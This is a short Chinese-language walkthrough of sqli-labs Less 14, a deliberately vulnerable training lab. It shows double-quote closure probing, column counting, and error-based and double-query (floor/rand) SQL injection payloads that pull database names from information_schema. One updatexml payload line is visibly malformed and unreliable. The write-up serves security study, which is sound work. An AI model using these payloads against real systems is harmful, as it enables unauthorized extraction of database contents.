1. 程式人生 > 資料庫 >sqli labs less 14

sqli labs less 14

進行了一系列的試探,發現輸入雙引號後報錯,通過這個報錯資訊基本可以確定為雙引號閉合語句。如果不放心,可以在輸入雙引號加括號進行試探。
在這裡插入圖片描述
在這裡插入圖片描述
判斷列數:
" union select 1 --+ 報錯:The used SELECT statements have a different number of columns
" union select 1,2 --+ 不報錯,並且也不返回輸出內容。
唯一可以輸出內容的地方就是報錯資訊,所以可以使用報錯注入雙注入 進行測試。
報錯注入:
先進行試探看能不能報出資訊:
" union select 1,updatexml(1,(select concat(0x7e,version())),1) --+

從下圖可知,可以報出MySQL版本資訊。
在這裡插入圖片描述
接下來進行注入:
" union select 1,schema_name) from information_schema.schemata limit 2,1),1) --+
updatexml()函式有三個引數,第二引數會報錯,第一個和第三個引數設定為數值1即可。
在這裡插入圖片描述
雙注入
在進行雙注入時如果不報錯,就多傳送幾次請求就會有報錯資訊了。
uname=1111" union select 1,count(1) from information_schema.schemata group by concat(floor(rand()*2),0x7e,(select schema_name from information_schema.schemata limit 1,1)) --+
在這裡插入圖片描述